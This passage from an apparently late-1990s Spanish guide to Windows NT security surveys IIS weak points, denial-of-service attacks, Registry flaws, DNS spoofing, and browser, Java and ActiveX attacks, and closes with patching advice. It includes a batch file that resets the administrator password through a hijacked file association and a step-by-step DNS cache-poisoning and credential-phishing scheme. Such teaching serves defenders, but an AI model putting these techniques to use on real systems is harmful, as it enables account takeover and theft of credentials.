URL: http://www.host.com/scripts/iisadmin/ism.dll?http/serv

 

Invariablemente, ism.dll lanza una peticion de password... es posible a su

vez, lanzar contra esta peticion un ataque de fuerza bruta (si no es posible

crear una cuenta como se describio antes).

 

Otras paginas a tener en cuenta.

 

Existe un ejemplo de Active Server Pages que viene con el IIS. Se encuentra

en http://www.host.com/adworks/default.htm. Se cauto.. el directorio www

tiene permisos de lectura y ejecucion, por lo que es conveniente eliminarlo

del servidor.

 

La pagina de administracion para el Index Server situada en :

 

http://www.host.com/srchadm/admin.htm

 

permite forzar escaneos, mezclas... cualquier cosa; es mas, nos da una vista

total de todos los directorios virtuyales, pudiendo buscar ficheros con

extension .pwd (es decir, los passwords encriptados de los controladores de

Front Page (como hace Ogre [15]), que aunque parezca mentira, son los mismos

que usan muchas personas como passwords para sus cuentas personales, de

correo, de acceso a Internet... Por lo tanto, ADMINISTRADORES, proteged con

passwords estas paginas.

 

6.4. Conclusion a los ataques IIS

 

Para mantener a salvo un sitio Web, se debe cambiar la configuracion por

defecto de la instalacion... y pasar una checklist para asegurarse al menos

de que no se ha dejado ningun agujero conocido sin tapar.

 

 

 

7. Ataques tipo D.o.S. (Denial of Service, Denegacion de Servicio)

 

Los ataques  tipo D.o.S. consisten simplemente en dejar fuera de servicio

cualquier servicio ofrecido por un servidor o estacion de trabajo, ocasionando

a veces como efecto lateral, el cuelgue de la maquina, normalmente con un

volcado de memoria (donde entra en juego la aplicacion Dr. Watson del sistema)

y/o una pantalla azul (BSOD Blue Screen of Death) comunmente conocida como

'la pantalla de los pitufos'. Este es un tema controvertido, dado que algunas

personas piensan que un ataque D.o.S. no es una tecnica de hacking, o lo

tratan como algo sin importancia. Sin embargo, es un tema a tener muy en

cuenta en Windows NT pues, la gran mayoria de los ataques son de tipo D.o.S.

Existen algunas razones por las cuales, este tipo de ataques pueden ser

utiles a un hacker:

 

@  El hacker ha instalado un troyano, pero necesita que la victima reinicie

la maquina para que surta efecto.

@  El hacker necesita cubrir inmediatamente sus acciones o un uso abusivo de

CPU. Para ello provoca un 'crash' del sistema, generando asi la sensacion de

que ha sido algo pasajero y raro. Desgraciadamente, aun no sorprende en la

familia Windows un cuelgue del sistema.

@  El hacker no es tal, sino un personaje sin experiencia que apenas sabe lo

que hace.

@  El hacker cree que actua bien al dejar fuera de servicio algun sitio Web

que le disgusta.

@  El administrador del sistema quiere comprobar que sus instalaciones no son

vulnerables a este tipo de ataques.

@  El administrador del sistema tiene un proceso que no puede matar en su

servidor y, debido a este, no puede acceder al sistema. Para ello, lanza

contra si mismo un ataque D.o.S. parando asi el servicio y pudiendo entrar a

reconfigurar.

 

 

7.1. Ataque OOB

 

Este tipo de ataque es bastante simple, a la vez que accesible, dado el gran

numero de programas que explotan esta debilidad en la implementacion TCP/IP de

Microsoft. Basicamente, consiste en enviar un mensaje out-of-band a ciertos

puertos de un sistema NT y este se colgara. Tipicamente se usa el puerto 139.

Este tipo de ataque, tambien conocido como WinNuke se evita instalando el

Service Pack 3 y el Hot Fix adecuado, pero han surgido varias variantes que

aun son capaces de colgar un sistema NT. El codigo fuente de esta aplicacion

esta muy difundido y cualquier busqueda en la Red con la palabra "winnuke"

dara la direccion de muchas paginas que lo contienen.

 

 

7.2. Ataques Teardrop I, II, Newtear, Bonk, Boink.

 

Este tipo de ataques consisten en mandar un par de fragmentos IP manipulados

maliciosamente, que al ser reensamblados en la maquina victima como un

datagrama UDP invalido, provocan que esta pase a un estado inestable. En este

estado, un sistema NT puede colgarse o reiniciarse. Generalmente aparece la

pantalla BSOD.

 

 

Este tipo de ataques es especialmente peligroso dado que existen multitud de

implementaciones conocidas con el nombre de NewTear, Bonk y Boink que explotan

esta debilidad. Ademas, a comienzos de Marzo del 98, salio a la luz un paquete

que integraba todas ellas y las lanzaba de forma automatica contra un gran

numero de hosts que el usuario podia especificar.

 

La solucion para protegerse de este tipo de ataques en Windows 95 y NT es

instalar el parche apropiado que Microsoft suministra. Este parche, al igual

que mas informacion sobre esta vulnerabilidad, pueden encontrarse en el

'Microsoft Market Bulletin' titulado "New Teardrop-like TCP/IP Denial of

Service Program" en la siguiente direccion:

 

         http://www.microsoft.com/security/newtear2.htm

 

 

 

7.3. Land Attack.

 

Este ataque, desarrollado por "m3lt" <meltman@LAGGED.NET>, consiste en un

nuevo bug en la implementacion de la pila TCP/IP de las plataformas Windows.

 

El ataque consiste en mandar a algun puerto abierto de un servidor

(generalmente al 113 o al 139), un paquete maliciosamente construido, con el

bit SYN a 1, y con la direccion y puerto origen IGUAL que la direccion y

puerto destino (ejm.: 10.0.0.1:139 a 10.0.0.1:139). Resultado: la maquina

comenzara a mandarse mensajes a si misma y acabara por colgarse.

 

El mensaje fue mandado a la lista BugTraq con el codigo fuente incluido (cosa

normal en esta lista, por otro lado).

 

 

7.4. Ataque Smurf.

 

Este ataque es bastante simple y a su vez devastador. Consiste en recolectar

una serie de direcciones de broadcast para a continuacion mandar una peticion

de echo ICMP a cada una de ellas en serie, varias veces, falsificando la

direccion IP de origen. Este paquete maliciosamente manipulado, sera repetido

en broadcast, y cientos o miles de hosts (segun la lista de direcciones de

broadcast disponible) mandaran una respuesta de echo a la victima cuya

direccion IP figura en el paquete ICMP. Los resultados son devastadores,

pudiendo saturar facilmente un circuito T1. El programa se distribuye en

fuente en r00tshell, junto con gran parte de los programas citados en este

documento.

 

 

 

8. El vulnerable Registro de Windows NT.

 

8.1. ¨Que es el registro?

 

El Registro es el corazon de Windows NT. Cada NT Workstation o NT Server tiene

su propio Registro y cada uno contiene informacion sobre el hard y el soft

instalado en el ordenador. Por ejemplo las caracteristicas de la tarjeta de

Red Ethernet, las propiedades del escritorio, los perfiles de los usuarios, el

fichero de passwords, cadenas que indican la fecha de caducidad en los

programas shareware, propiedades y caracteristicas internas del sistema

operativo... etc.

Se sabe, por ejemplo, que en lo unico que se diferencias Windows NT WS y NT

Server es unas diez claves del registro, pudiendo pasar de uno a otro

modificando dichas claves, infringiendo por otro lado el acuerdo de compra con

Microsoft al hacerlo. Tambien se guarda en el Registro todo lo que un usuario

puedeo o no puede hacer. El Registro de NT se puede ver como una evolucion de

los ficheros INI de Windows 3.1. hasta llegar a lo que es: una gran base de

datos con abundante informacion delicada.

 

Es interesante desde el punto de vista de la seguridad el hecho de que todo el

control de acceso y parametros relacionados esten localizados en el Registro.

Haremos una peque¤a introduccion general al mismo, enfocando el tema a los

aspectos de seguridad.

 

El Registro contiene cientos de piezas de datos, agrupados en lo que se conoce

como claves. Estas claves estan agrupadas en subarboles, donde se almacenan las

claves similares de forma conjunta a la vez que copias de algunas de ellas en

subarboles separados para un mejor acceso.

 

El Registro se puede dividir en cuatro subarboles: HKEY_CLASSES_ROOT,

HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE y HKEY_USERS. Los explicaremos en orden

decreciente de importancia desde el punto de vista de la seguridad.

 

El primer subarbol es el HKEY_LOCAL_MACHINE. Contien 5 claves diferentes:

 

    SAM y SECURITY - Estas claves contienen informacion como los derechos de

usuarios, informacion de dominio para usuarios y grupos, y passwords. Este es un

punto de ataque evidente para los hackers.

 

Las claves estan almacenadas como datos binarios por razones de seguridad y

generalmente no son accesibles a menos que seas el Administrador o formes

parte del grupo de Administradores.

 

                                                                              

HARDWARE - esta es la base de datos donde se guardan datos sobre los

componentes hardware del ordenador. Los drivers y las aplicaciones construyen

esta BD cuando arranca el ordenador y la actualizan en tiempo de ejecucion.

Cuando se reinicia el ordenador, los datos se vuelven a construir desde cero. No

es recomendable editar este trozo del Registro.

 

      SYSTEM - Esta clave contiene aspectos basicos como pueden ser que es lo

que se carga al arrancar el sistema, que drivers han sido cargados, que

servicios se estan usando, etc.  Todos ellos se agrupan en subclaves ControlSet.

Cuando el ordenador no puede arrancar correctamente, lee los ControlSet que

necesite, almacenados en el Registro y arranca desde la "Ultima configuracion

correcta".

 

 

      SOFTWARE - Esta clave guarda informacion sobre el software cargado

localmente. Las asociaciones entre extensiones de ficheros y sus programas

visores, informacion OLE y otras configuraciones variadas son lo que almacena 

esta clave.

 

La segunda clave mas importante es HKEY_USERS. Contiene una subclave por cada

usuario que accede al sistema, bien sea de forma local o remota. Si el

servidor forma parte de un dominio y se conecta a traves de la red, su

subclave no se guarda aqui sino en el Controlador de Dominio. Lo que si se

guarda aqui son las propiedades del Escritorio y los perfiles de usuario.

 

Las 2 claves restantes son HKEY_CURRENT_USER y HKEY_CLASSES_ROOT, que

contienen copias de porciones de las claves HKEY_USERS y HKEY_LOCAL_MACHINE

respectivamente. HKEY_CURRENT_USER contiene exactamente lo que su propio

nombre indica: una copia de la subclave HKEY_USERS del usuario actualmente

conectado.

HKEY_CLASSES_ROOT contiene una parte de HKEY_LOCAL_MACHINE, concretamente

informacion de la subclave SOFTWARE. Asociaciones de ficheros con sus

programas, configuraciones OLE e informacion de dependencias.

 

8.2. ¨Que son los 'hives'?

 

Los hives son otro tipo de subdivisiones del Registro. Contienen informacion

relacionada. Esto no lo digo yo, lo dice Microsoft.

 

Todos los hives estan almacenados en D:\WINNT\SYSTEM32\CONFIG. Los hives mas

destacados y sus ficheros son:

 

Hive                         Fichero   Fichero Backup

---------------------------  --------  --------------

HKEY_LOCAL_MACHINE\SOFTWARE  SOFTWARE  SOFTWARE.LOG

HKEY_LOCAL_MACHINE\SECURITY  SECURITY  SECURITY.LOG

HKEY_LOCAL_MACHINE\SYSTEM    SYSTEM    SYSTEM.LOG

HKEY_LOCAL_MACHINE\SAM       SAM       SAM.LOG

HKEY_CURRENT_USER            USERxxx   USERxxx.LOG

                             ADMINxxx  ADMINxxx.LOG

HKEY_USERS\.DEFAULT          DEFAULT   DEFAULT.LOG

 

La informacion de los passwords se encuentra en el fichero SAM. Como

alternativa los hackers suelen buscar el fichero SAM.LOG. No suelen estar

disponibles.

 

 

 

8.3. Los fallos del registro.

 

Cualquier hacker puede hacerse due¤o de un sistema NT con solo una subclave

del registro mal configurada. Aunque se pretende tener todo bien organizado,

la gestion del Registro de NT puede ser una tarea de titanes. Existen

numerosos fallos de seguridad relacionados con el Registro y realizar una

auditoria de ciertas claves del mismo nunca vendra mal. Mientras tanto,

mantente alerta a alguno de los siguientes puntos relacionados con la

seguridad y el Registro de Windows NT.

 

 

 

8.4. Acceso remoto al registro.

 

Es posible que el sistema NT se haya instalado con permisos de escritura a

Todos en demasiadas partes del Registro. Para averiguar que claves estan

pobremente protegidas podemos usar la herramienta DumpAcl de Somarsoft.

Aunque esto era un problema en NT 3.51 (la mala configuracion de los permisos)

debido a la posibilidad de acceso remoto al registro que nos brinda la

utilidad regedt32.exe, en especial si encima esta habilitada la cuenta de

usuario invitado. NT 4.0 resolvio este problema introduciendo la siguiente

clave del registro:

 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg

 

Esta clave se presenta por defecto en NT 4.0 server, pero no en las NT 4.0

Workstations, por lo que habra que a¤adirla. La presencia de esta clave

deshabilita el acceso remoto al registro excepto a los administradores.

 

Para ver lo que podria pasar si nos olvidamos de proteger correctamente el

registro, valgan dos sencillos ejemplos.

 

\ Un usuario remoto con perversas intenciones y un registro mal configurado

nos podria llevar a ataques tipo D.o.S. periodicos por parte del intruso,

dificiles de localizar por el administrador, provocando continuas

reinstalaciones del sistema, como consecuencia de la imposibilidad por parte

del administrador de encontrar el origen de los ataques.

 

\ Crear troyanos y modificar apuntadores del registro a los programas

originales para que apunten a los troyanos, los cuales podrian intentar crear

cuentas de administrador (si es el administrador el que ejecuta el troyano ,

sin saberlo , este ataque seria posible).

 

\ Bajo NT 3.51 se puede explotar la posibilidad de escribir en cierta clave

del registro, concretamente en aquella que asocia extensiones de ficheros con

sus respectivas aplicaciones. Es posible que pueda cambiarse ademas por un

usuario remoto con acceso al registro via regedt32.exe. La entrada .txt de

dicha clave podria cambiarse de la siguiente manera para que ejecute

bogus.cmd:

 

\\cierta_WS_de_NT_o_Unix\Disco_compartido_sin_clave\bogus.cmd

 

donde bogus.cmd contiene:

 

net user administrador xxxxx /y

notepad %1 %2 %3 %4 %5

 

si el administrador cuando se conecte, pincha dos veces en un archivo con

extension .txt, su password cambiara a xxxxx. Aunque este es un ejemplo un

poco burdo dado que el administrador deberia darse cuenta de que aparece una

pantalla de linea de comandos antes de abrirse el Notepad.exe. De todas

formas es trivial realizar una aplicacion para Win32 de tal manera que los

efectos sean mas destructivos. Asi que ojo con los permisos del Registro de

NT.

 

Los administradores deberian saber por otro lado, que modificar el Registro de

forma incorrecta podria llevar a la imposibilidad de volver a arrancar el

ordenador (recuerda, el Registro es el corazon de NT), por lo que recomiendo

realizar un disco de recuperacion de emergencia con RDISK.EXE /antes de

realizar ningun cambio al registro.Tambien podrias usar la herramienta

ConfigSafe para "tomar fotos" del estado del Registro antes de realizar

ningun cambio. Esta herramienta tambien es util cuando se quiere recuperar el

estado del Registro anterior a la instalacion del algun programa que lo

modifico.

 

 

 

9. Spoofing (un ataque comun a otros sistemas).

 

9.1. Introduccion. IP Spoofing & DNS Spoofing.

 

[Traduccion, arreglos y explicaciones basadas en el capitulo 11.1.3. de The

Modern Hacker Desktop Reference, del grupo Rhino9 [15 ], basado a su vez en

un capitulo de "Windows NT Hacking FAQ" [25] ]

 

Spoofing viene a traducirse como "hacerse pasar por otro". Es un ataque

contra la autentificacion. Este tipo de ataques suele implicar un buen

conocimiento del protocolo en el que se va a basar el ataque. Dos ataques

tipo  spoofing bastante conocidos son el IP Spoofing y el DNS Spoofing. El

primero de ellos se hizo famoso al usarlo Kevin Mitnick en su ataque en

Diciembre de 1995 a la red informatica de Tsutomu Shimomura, un especialista

en seguridad que trabajaba en el Centro de Supercomputacion de San Diego.

En principio parece que Windows NT no es sensible a este ataque en concreto,

pero si lo es al ataque DNS Spoofing.

 

 

9.2. El ataque DNS Spoofing.

 

Mediante la manipulacion de paquetes UDP, se puede comprometer la cache del

servidor de nombres (DNS) de NT. Si se permite el metodo de recursion en la

resolucion de "nombre < - - > direccion IP" en el DNS, es posible controlar

algunos aspectos del DNS remoto. La recursion consiste en la capacidad de un

servidor de nombres para resolver una peticion de direccion IP a partir de un

nombre que no figura en su base de datos. Este es el metodo tipico de

funcionamiento.

 

Pero, pongamos un ejemplo para conocer como es posible lanzar este tipo de

ataque:

 

Supongamos que somos el root de ns.nmrc.org, IP 10.10.10.1. tambien tenemos

el servidor pirate.nmrc.org con la direccion 10.10.10.2. y el servidor

bait.nmrc.org con la direccion 10.10.10.3. Supongamos que lo que queremos

conseguir es que los usuarios de lame.com accedan a nuestro servidor

pirate.nmrc.org cuando intenten acceder a www.lamer.net.

 

Bien, supondremos que tenemos una herramienta que implementa los siguientes

pasos:

 

- mandamos una peticion a ns.lame.com preguntando por la direccion de

bait.nmrc.org.

- ns.lame.com no encuentra la direccion en su base de datos y pregunta a

ns.nmrc.org por bait.nmrc.org.

- la peticion es ahora interceptada en ns.nmrc.org y extraemos el ID del

paquete de peticion .

- mandamos una peticion a ns.lame.com preguntando por la direccion de

www.lamer.net.

- dado que conocemos el numero de ID de la peticion anterior, hay muchas

probabilidades de que el ID de la nueva peticion sea si no el siguiente, un

numero muy cercano.

- ahora es cuando viene realmente el ataque: construimos unos cuantos paquetes

DNS de respuesta con diferentes numeros de identificacion ID. Estos paquetes

de respuesta estan manipulados en el campo origen, haciendose pasar por

ns.lamer.net y afirmando que la direccion que corresponde al ID de esa

peticion es 10.10.10.2. ( en otras palabras, acabamos de mandar un paquete de

respuesta a la pregunta "¨cual es la direccion IP de www.lamer.net?" que

ns.lame.com mando a otro DNS (seguramente ns.lamer.net), haciendonos pasar

por este ultimo y afirmando que la respuesta es 10.10.10.2.) Si nuestros

calculos de ID han sido correctos, la cache del DNS de ns.lame.com tendra

ahora una entrada mas o menos asi:

 

www.lamer.net  --------> 10.10.10.2

 

lo que realmente corresponde a la direccion IP de pirate.nmrc.org.

Lo que resta por hacer ahora es sencillo: copiar el aspecto de www.lamer.net

(paginas html, graficos, applets Java, musiquilla de fondo,...) en

pirate.nmrc.org para lo que nos podemos valer de excelentes programas de

"copiado" web como Teleport Pro y poner un nuevo apuntador a una pagina que

diga "Novedad!!!. Tenemos una nueva pagina de cambio de password gratuita,

por si quieres cambiar el password de tu cuenta ftp de www.lamer.net.". Si

no se quiere o no se puede traer una copia del servidor, se pueden traer solo

las paginas que solicite el usuario, a medida que este vaya pinchando en los

enlaces.

Aunque se haya repetido cientos de veces para que esto no ocurra, aun hoy es

muy posible que la cuenta de password en www.lamer.net que tenga el usuario

victima, sea la misma que use para otras cosas....

 

Es posible usar este tipo de ataque para otros fines, como informar a la

victima que www.lamer.net ha dejado de funcionar, redirigir su correo una vez

analizado, etc...

 

 

 

10. Otros ataques via Web.

 

Aunque no son especificos de Windows NT, los problemas de seguridad que

implican los navegadores Web y sus tecnologias asociadas (ActiveX, JavaScript,

...) son un serio problema para cualquier administrador de sistemas NT. Por

lo tanto, comentaremos aqui los aspectos mas importantes relacionados con la

seguridad.

 

 

10.1. Ataques por JavaScript, VBScript

 

JavaScript  (Netscape) y VBScript (Microsoft) son dos lenguajes de script

usados por los programadores Web para realizar sofisticadas paginas Web con

un lenguaje menos "complicado"que Java. Los programas realizados con estos

dos lenguajes son interpretados en el navegador. Como siempre, Internet

Explorer y Netscape Navigator presentan incompatibilidades. Netscape no acepta

VBScript y Explorer no acepta la ultima version de JavaScript. Las ultimas

versiones de ambos lenguajes son potentisimas herramientas de programacion

web y, por lo tanto, llevan asociados fallos de seguridad inherentes, aunque

estos fallos son mucho mas numerosos en versiones antiguas de JavaScript,

donde podemos encontrarnos con fallos como los siguientes:

(extraido y modificado de "Penguin Cafe"

www.geocities.com/SiliconValley/Peaks/6371/oculto.html )

 

# Cuando aparecio JavaScript, este permitia el envio de mensajes de correo

electronico sin el reconocimiento del usuario, la lectura de la historia URL,

la lectura de directorios y de ficheros. Lo que fue razon mas que suficiente

para que cientos de intrusos informaticos se aprovecharan de estas

debilidades.

 

# El problema mas importante aparecio en Netscape 2.0 y fue conocido como

"stuck on load". Lo que sucedia es que se podia crear una ventana de 1x1

pixeles, por la cual los intrusos podian seguir extrayendo informacion sin

que el usuario se enterase y aun cuando este hubiese salido de la pagina, ya

que esta ventana (era un simple punto) era imperceptible para el usuario.

 

Evolucion cronologica de la correccion de errores:

 

 

Problema a solucionar.

Version en la que se soluciona.

Lectura de directorios y ficheros

2.01

Lectura de historico URL

2.02

Correo electronico sin reconocimiento de usuario

2.01

"stuck on load"

3.0

 

Para mas informacion, consultar la direccion especializada en los fallos de

seguridad en JavaScript de LoVerso[31]

 

 

10.2. Ataques por vulnerabilidades en los navegadores.

 

Generalmente los navegadores no fallan por fallos intrinsecos, sino que fallan

las tecnologias que implementan, aunque en este punto analizaremos realmente

fallos intrinsecos de los navegadores, como pueden ser los "Buffer Overflow".

Para una detallada informacion de este tipo de vulnerabilidades referirse a

[34]  pero indicaremos aqui a groso modo el fallo de seguridad mas importante

y frecuente, especialmente en Internet Explorer debido a su alto grado de

funcionalidad en los protocolos soportados mediante direccionamiento URL:

 

Los "buffer overflows" consisten en explotar una debilidad relacionada con los

buffers que la aplicacion usa para almacenar las entradas de usuario. Por

ejemplo, cuando el usuario escribe una direccion en formato URL como puede

ser http://www.cert.org esta se guarda en un buffer para luego procesarla. Si

no se realizan las oportunas operaciones de comprobacion, un usuario con

perversas intenciones, podria intentar mandar una direccion de este estilo:

http://www.aaaaaaaaaaaaaaaa.com donde el numero de a's supera los 200

caracteres y en lugar de a's se pueden introducir combinaciones de letras,

etc. Ademas, el protocolo usado ha sido http,  osea el protocolo www, pero

IE permite usar otro tipo de protocolos internos menos conocidos como res: o

mk: . Precisamente existen dos fallos de seguridad del tipo "buffer overflow"

en la implementacion de estos dos protocolos.

 

El primero de ellos, el bug de res:// no afecta a NT, "solo" a Windows 95,

sin embargo, es posible usarl el bug del mk:  para ­ejecutar cualquier

programa en Windows NT a partir de un link en una pagina Web! Concretamente,

este fallo se materializa al manipular una direccion URL usando el protocolo

mk:, protocolo usado por el "InfoViewer Topic" de Microsoft, por ejemplo en

Visual Studio y el sistema de ayuda del  IE4.0(1). Como prueba de la utilidad

de mk: , podemos probar la URL del sistema de ayuda de Microsoft IE4.0:

mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm

 

Para poder lanzar este tipo de ataques hay que tener un buen conocimiento de

ensamblador y de la estructura interna de la memoria en NT. Si se quiere

profundizar mas en estos dos ataques podemos consultar la excelente base de

datos de L0pht [17] o de Security BugWare [12] y si lo que se busca es

entender a la perfeccion este tipo de ataques, es aconsejable leerse el

TAO of Windows Buffer Overflow [34].

 

Tambien podemos citar en este documento el fallo de seguridad descubierto por

Cybersnot Industries http://www.cybersnot.com/iebug.html, relativo a los

ficheros .lnk y .url de Windows 95 y NT respectivamente. Las versiones de

Microsoft Internet Explorer v3.01 y anteriores podian ser utilizadas para

ejecutar la aplicacion que nosotros quisieramos siempre que existiera en el

ordenador de la victima (trivial, pues algunas aplicaciones vienen por defecto,

como el format.com).

 

Bien, ahora una peque¤a explicacion tecnica. Windows 95 guarda los accesos

directos a aplicaciones como ficheros con extension .LNK; cuando pinchamos en

algun fichero de este estilo, Win95 ejecuta el  programa que dicho LNK

describa. Los ficheros URL son algo parecido, excepto que el fichero URL

tiene una semantica y una sintaxis ligeramente diferentes de los del LNK, y

en que los URL se pasan al Internet Explorer para su ejecucion en lugar de

ejecutarse por Windows95 directamente. Evidentemente se puede indicar que la

aplicacion que queremos ejecutar sea file://format.com o cualquier otra

aplicacion local.

 

El problema surge cuando IE trata los LNK y los URL bajados de la red como si

fueran locales; asi, es posible poner un link a un fichero LNK o URL en

nuestras paginas web de tal manera que apunten a un programa que sabemos que

existe en el ordenador de la victima que se conecte. Cuando lo haga y pinche

sobre el, la aplicacion se ejecutara sin mas (como ya he dicho esto solo

funciona en versiones del IE3.01 y anteriores y solo en aquellos que no hayan

instalado los parches de Microsoft.

 

Para mas informacion relacionada con los ataques intrinsecos a los

navegadores, aparte de consultar los punteros indicados , se aconsejan las

paginas no oficiales de seguridad tanto en Internet Explorer[29] como en

Netscape Communicator[32].

 

 

 

10.3. Ataques por Java.

 

Java es un lenguaje de programacion interpretado desarrollado inicialmente

por  SUN. Su popularidad es tal que no merece mayor descripcion en este

documento. Lo que si comentaremos por encima es su alto grado de seguridad.

Los mas usados navegadores actuales, Netscape e IE, implementan Maquinas

Virtuales Java (MVJ)para ser capaces de ejecutar applets Java descargados de

Internet. Estos applets, al fin y al cabo no son mas que codigo ejecutable y

como tal, susceptible de ser manipulado por intrusos con aviesas intenciones.

Sin embargo, partiendo del dise¤o, Java siempre ha pensado en la seguridad

del sistema. Las restricciones a las que somete a los applets son de tal

envergadura (imposibilidad de trabajar con ficheros a no ser que se

especifique lo contrario por parte del usuario, imposibilidad de los applets

de acceder a zonas de memoria directamente, firma digital,...) que es

practicamente imposible lanzar ataques distintos de los ataques de tipo D.o.S.

(Denial Of  Service) contra plataformas JAVA. Sin embargo, existe un grupo de

expertos liderados por dos profesores de la Universidad de Princeton,

especializados en descubir fallas de seguridad en las implementaciones que de

la MVJ hacen los distintos navegadores (Netscape, IE, HotJava (navegador de

SUN)). Su direccion es accesible desde [41]. En un numero reciente de la

revista Developer.com http://www.developer.com/news/stories/042498_hostile.html,

el Dr. Mark D. LaDue, explicaba los ultimos fallos de seguridad encontrados

(todos ellos relacionados con ataques tipo D.o.S.) en la implementacion de la

MVJ en Netscape Communicator 4.04 y 4.05:

 

Las potenciales amenazas iban desde un applet que volcaba continuamente bytes

en el sistema de ficheros hasta bloquear la maquina al dejarla sin recursos

de disco, hasta un applet que creaba subclases de la clase Applet ClassLoader,

algo supuestamente prohibido por las especificaciones Java y que permite a

los applets establecer conexiones con cualquier servidor y descargar applets

maliciosos desde el para luego ejecutarlos.

 

LaDue consiguio crear estos applets estudiando varios descompiladores de Java.

Para probar las habilidades de los mismos, intento descompilar las 1669

ficheros de clases de Netscape Communicator 4.04. Al hacerlo, no pudo resistir

la tentacion de estudiar el codigo resultante en busca de posibles agujeros

de seguridad para construir applets hostiles.

 

Todos estos applets hostiles y muchos mas, al igual que abundante y buena

informacion sobre la seguridad en Java, se pueden encontrar en HAHP [30].

 

 

10.4. Ataques por ActiveX.

 

ActiveX es una de las tecnologias mas potentes que ha desarrollado Microsoft.

Mediante ActiveX es posible reutilizar codigo, descargar codigo totalmente

funcional de un sitio remoto... Esta tecnologia ha sido considerada la

respuesta de Microsoft a Java (aunque ahora compita en el mercado con ambas).

Una pagina Web con un control ActiveX puede ser ejecutada en principio solo

en Internet Explorer, y digo en principio porque existe un Plug-In para

Netscape que permite ejecutar controles ActiveX en los navegadores de dicha

compa¤ia.

 

ActiveX soluciona los problemas de seguridad mediante certificados y firmas

digitales. Una Autoridad Certificadora (AC) expende un certificado que

acompa¤ara a nuestros controles activos y a nuestra firma digital. Cuando un

usuario descarga una pagina con ese control, se le preguntara si confia en

la AC que expendio nuestro certificado y/o en nuestro control ActiveX. Si el

usuario acepta el control, este puede pasar a ejecutarse sin ningun tipo de

restricciones (solo las propias que tenga el usuario en el sistema NT). Es

decir, la responsabilidad de la seguridad del sistema se deja en manos del

usuario, tanto si este es un experto cibernauta consciente de los riesgos

que puede acarrear la accion como si es el usuario es un perfecto novato en

la materia.

 

La pega de esta filosofia es que las Autoridades de Certificacion se fian de

la palabra del programador del control activo. Es decir, el programador se

compromete a firmar un documento que asegura que el control no es nocivo.

Evidentemente siempre hay hackers expertos en programacion con pocos

escrupulos o con ganas de experimentar, Un conocido grupo de hackers alemanes,

Computer Chaos Club (CCC) [36], podria ser un ejemplo. CCC desarrollo un

control ActiveX maligno que modificaba el programa de gestion bancaria

personal Quicken95 de tal manera que si un usuario aceptaba el control

(control que realizaba una tarea util aparte de crackear el Quicken, es decir,

era un troyano) este realizaba la tarea que supuestamente tenia que hacer y

ademas modifica el Quicken, para que la proxima vez que la victima se

conectara a su banco, se iniciara automaticamente una transferencia de su

cuenta a la cuenta de CCC. Como nota curiosa destacar que CCC cito a la

television germana dias antes del ataque, para que lo filmara en directo.

 

Otro control ActiveX especialmente pernicioso consistia en otro troyano, cuya

mision oculta era especialmente malevola: manipular el codigo de Internet

Explorer para que este nunca mas pidiera confirmacion al usuario a la hora

de descargar un control activo de la Web. Es decir, dejaba totalmente

descubierto a ataques con tecnologia ActiveX el sistema de la victima.

 

 

 

 

11. Medidas de seguridad Service Pack & HotFix.

 

11.1. Como parchear el sistema. Service Pack & Hot-Fix.

 

Microsoft tiene una base de datos consultable via web, con parches y arreglos

tanto para el sistema operativo Windows NT como para sus aplicaciones. En la

jerga de Microsoft, un conjunto de parches o arreglos se denomina Service Pack

(SP).  El Service Pack actual para Windows NT 4.0. es el 3, pero Microsoft

planea sacar el 4 para este verano (es de suponer que junto la liberacion de

Windows 98).  Tambien existen Service Packs (en adelante SP) para aplicaciones

como el servidor IIS.

 

Los SP son acumulativos. Esto significa que el SP3 contiene todo lo que tenia

el SP2 ademas de los parches nuevos introducidos en el SP3. A menudo, los SP

reemplazan gran cantidad de codigo, sobre todo las DLL's mas importantes

del sistema o aplicacion.. Dado que la mayoria de las grandes aplicaciones

(como los componentes 'backoffice' o los de 'developer studio')  traen sus

propias versiones de bibliotecas DLL "del sistema", los SP deben aplicarse

cada vez que se realice una actualizacion de dicho sistema, donde estos

terminos en cursiva no estan definidos claramente. A cualquier accion que

reemplace cualquier componente actualizado por un SP o un hot-fix debe

seguirle una nueva instalacion del ultimo SP y todos los hot-fixes. Recuerda

ademas que, al a¤adir hardware nuevo, a menudo se a¤ade tambien nuevo

software de control, lo que puede llevarnos a reinstalar el SP y/o hotfix

adecuado.

 

Los Hot-Fix, como ya habras adivinado, son parches intermedios desarrollados

entre dos Service Pack, y estan considerados como "not fully regression

tested", es decir, que Microsoft no ha comprobado todos los posibles efectos

laterales, incompatibilidades, etc. Que pudieran producirse con su instalacion

ypor lo tanto, la empresa de Redmond, no recomienda su instalacion a no ser

que uno la crea totalmente necesaria. Mi consejo es que todo Hot-Fix que

afecte a la seguridad del sistema NT, que es nuestra materia de estudio,

deberia ser instalado automaticamente, sin dudarlo. De hecho, en NTSecurity

[10], la principal lista de distribucion de seguridad en NT, se discutio

durante un tiempo el que Microsoft advirtiera indiscriminadamente de que no

se instalara un hot-fix a no ser que se estuviera totalmente seguro de lo que

se hacia, pues esto echaba para atras a muchos administradores inexpertos,

exponiendolos a ataques masivos. Microsoft reconocio su error y se

comprometio a enmendarlo.

 

Una nueva cuestion es la lengua local. Si estas ejecutando una version de NT

que no sea de los EEUU, no podras aplicar todos los hot-fix disponibles.

Algunos no dependen del lenguaje, mientras que otros se niegan a instalarse

en una version extranjera (no de EEUU). Si te lo puedes permitir o te es

posible, te aconsejo que trabajes con  una version de NT de los EEUU al menos

en alguno de tus servidores. Si lo haces de esta manera, podras instalar el

hot-fix relacionado con un problema de seguridad inmediatamente, en cuanto

salga, sin tener que esperar al siguiente SP (los Service Pack se lanzan en

"todos" los idiomas, aunque tendras que esperar ademas a que se traduzca el

correspondiente SP a tu idioma). Dentro de lo que cabe, los espa¤oles tenemos

suerte en este aspecto, pues normalmente salen casi al unisono los hot-fix en

version estadounidense como en version castellana.

 

 

Si no puedes o no quieres descargar el software de Internet, puedes contactar

con tu representante Microsoft mas cercano y pedirle el ultimo Service Pack

que necesites. Habitualmente tambien se distribuye en los CD's de las mejores

revistas del sector informatico.

 

Visita el Web de Microsoft o su servidor FTP en:

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes

 

Personalmente, recomiendo visitar el excelente site de Russ Cooper [9], donde

literalmente, cada dos minutos, se actualizan las paginas Web relacionadas

